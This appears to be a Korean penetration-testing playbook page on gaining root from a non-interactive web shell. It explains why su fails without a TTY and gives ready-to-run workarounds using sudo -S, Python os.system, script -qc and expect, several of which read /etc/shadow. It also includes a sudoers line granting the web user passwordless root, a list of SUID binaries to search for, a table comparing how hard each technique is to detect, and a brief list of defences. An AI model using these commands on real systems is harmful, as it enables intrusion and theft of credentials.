Pentest Playbook

WebShell Privilege Escalation

웹쉘 환경에서 root 권한 획득을 위한 비대화형 쉘 우회 기법

개요

웹쉘(WebShell)을 통해 시스템에 접근한 후, 추가적인 권한 상승이 필요한 경우가 있다.
일반적으로 Linux에서 su 명령어를 통해 root 계정으로 전환하지만, 웹쉘 환경에서는 이 방법이 동작하지 않는다.

웹쉘에서 su 명령어를 사용할 수 없는 이유

웹쉘은 비대화형(Non-Interactive) 쉘 환경에서 실행된다.

구분 대화형 쉘 (Interactive) 비대화형 쉘 (Non-Interactive)
TTY 할당 O X
표준 입력 키보드 (사용자 입력 대기) 파이프/리다이렉션
프롬프트 표시됨 표시 안됨
예시 SSH 접속, 터미널 웹쉘, cron job, 스크립트

su 명령어는 보안상 TTY(Teletypewriter)가 할당된 환경에서만 비밀번호 입력을 받도록 설계되어 있다. 웹쉘은 HTTP 요청을 통해 명령을 실행하므로 TTY가 없고, 따라서 su의 비밀번호 프롬프트에 응답할 수 없다.

# 웹쉘에서 실행 시
$ su root
su: must be run from a terminal

$ tty
not a tty

공격 시나리오

[파일 업로드 취약점] → [웹쉘 업로드] → [웹쉘 실행 (www-data)] → [권한 상승 시도] → [root 획득]

이 문서에서는 비대화형 환경에서 TTY 제한을 우회하여 root 권한을 획득하는 방법을 다룬다.


전제 조건

모든 기법에 공통적으로 필요한 조건:


권한 상승 기법

1. sudo를 이용한 권한 상승

원리: sudo-S 옵션으로 표준 입력(stdin)에서 비밀번호를 받을 수 있다. 이 옵션을 사용하면 TTY 없이도 인증이 가능하다.

필요 조건: - 현재 사용자가 sudoers에 등록되어 있어야 함 - sudo 권한이 있는 계정의 비밀번호

명령어:

# 기본 형태
echo '{비밀번호}' | sudo -S {명령어}

# 실행 예시
echo 'root123' | sudo -S whoami
echo 'root123' | sudo -S id
echo 'root123' | sudo -S cat /etc/shadow

# 쉘 획득
echo 'root123' | sudo -S /bin/bash -c 'whoami && id'

sudo 권한 확인:

# 현재 사용자의 sudo 권한 확인
sudo -l

# 권한이 있는 경우 출력 예시
User www-data may run the following commands on server:
    (ALL) NOPASSWD: ALL

# 권한이 없는 경우
[sudo] password for www-data:

로컬 테스트 환경 구성:

# www-data에 sudo 권한 부여
echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/www-data
chmod 440 /etc/sudoers.d/www-data

# 권한 확인
sudo -u www-data sudo -l


2. Python PTY를 이용한 권한 상승

원리: Python의 os.system() 또는 subprocess를 통해 파이프로 비밀번호를 전달하면, 일부 시스템에서 su의 TTY 검증을 우회할 수 있다.

필요 조건: - Python 2 또는 Python 3 설치 - Python 실행 권한 - 대상 계정 비밀번호

명령어:

# 기본 형태
python3 -c "import os; os.system('echo {비밀번호} | su -c \"{명령어}\" {계정}')"

# 실행 예시
python3 -c "import os; os.system('echo root123 | su -c whoami root')"
python3 -c "import os; os.system('echo root123 | su -c id root')"
python3 -c "import os; os.system('echo root123 | su -c \"cat /etc/shadow\" root')"

# Python 2 환경
python -c "import os; os.system('echo root123 | su -c whoami root')"

PTY를 이용한 완전한 대화형 쉘 에뮬레이션:

# PTY 스폰 (리버스 쉘 환경에서 유용)
python3 -c 'import pty; pty.spawn("/bin/bash")'

참고: pty.spawn()은 가상 터미널을 생성하여 대화형 쉘처럼 동작하게 한다. 리버스 쉘 연결 후 완전한 TTY가 필요할 때 사용한다.


3. script 명령어를 이용한 권한 상승

원리: script 명령어는 터미널 세션을 기록하는 도구인데, 실행 시 PTY를 할당한다. 이 특성을 이용하면 su가 요구하는 TTY 조건을 충족시킬 수 있다.

필요 조건: - script 명령어 존재 (/usr/bin/script) - su 명령어 사용 가능 - 대상 계정 비밀번호 - /dev/null 또는 쓰기 가능한 경로

명령어:

# 기본 형태
script -qc "echo {비밀번호} | su -c '{명령어}' {계정}" /dev/null

# 실행 예시
script -qc "echo root123 | su -c 'whoami' root" /dev/null
script -qc "echo root123 | su -c 'id' root" /dev/null
script -qc "echo root123 | su -c 'cat /etc/shadow' root" /dev/null

# 타이밍 이슈가 있는 경우 (비밀번호 전송 지연)
(sleep 0.1; echo root123) | script -qc "su -c 'ls -al' root" /dev/null

옵션 설명: | 옵션 | 설명 | |------|------| | -q | Quiet 모드, 시작/종료 메시지 숨김 | | -c | 지정한 명령어 실행 후 종료 | | /dev/null | 로그 파일 출력 위치 (버림) |


4. expect를 이용한 권한 상승

원리: expect는 대화형 프로그램을 자동화하는 도구로, 특정 문자열(프롬프트)을 기다렸다가 자동으로 응답을 전송한다.

필요 조건: - expect 설치 (/usr/bin/expect) - 대상 계정 비밀번호

명령어:

# One-liner 형태
expect -c 'spawn su - root; expect "Password:"; send "root123\r"; interact'

# 명령어 실행 후 종료
expect -c 'spawn su -c "id" root; expect "Password:"; send "root123\r"; expect eof'

# 웹쉘에서 사용하기 적합한 형태
expect -c 'spawn su -c "cat /etc/shadow" root; expect "Password:"; send "root123\r"; expect eof'


기법 비교

기법 필요 조건 성공률 탐지 난이도
sudo -S sudoers 등록 높음 낮음 (sudo 로그)
Python os.system Python 설치 중간 중간
script -qc script 명령어 높음 높음
expect expect 설치 높음 중간

권한 확인 명령어

웹쉘 접근 후 현재 상태를 파악하기 위한 명령어:

# 현재 사용자 확인
whoami
id

# TTY 할당 여부 확인
tty

# sudo 권한 확인
sudo -l

# SUID 바이너리 검색 (추가 권한 상승 벡터)
find / -perm -4000 -type f 2>/dev/null

# 사용 가능한 도구 확인
which python python3 script expect perl ruby

탐지 및 로그

각 기법 사용 시 남는 로그:

sudo 사용 시 (/var/log/auth.log):

www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash

su 사용 시 (/var/log/auth.log):

su: pam_unix(su:session): session opened for user root by (uid=33)

script 사용 시: - 별도 로그 없음 (탐지 어려움) - 단, /dev/null 대신 다른 경로 지정 시 파일 생성됨


방어 방안

  1. 웹쉘 업로드 방지: 파일 업로드 검증 강화, 확장자 화이트리스트
  2. 권한 최소화: 웹 서버 계정(www-data)의 sudo 권한 제거
  3. 명령어 제한: script, expect 등 불필요한 바이너리 제거
  4. 모니터링: auth.log 실시간 감시, 비정상 su/sudo 시도 탐지
  5. SELinux/AppArmor: 웹 서버 프로세스의 시스템 호출 제한
ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색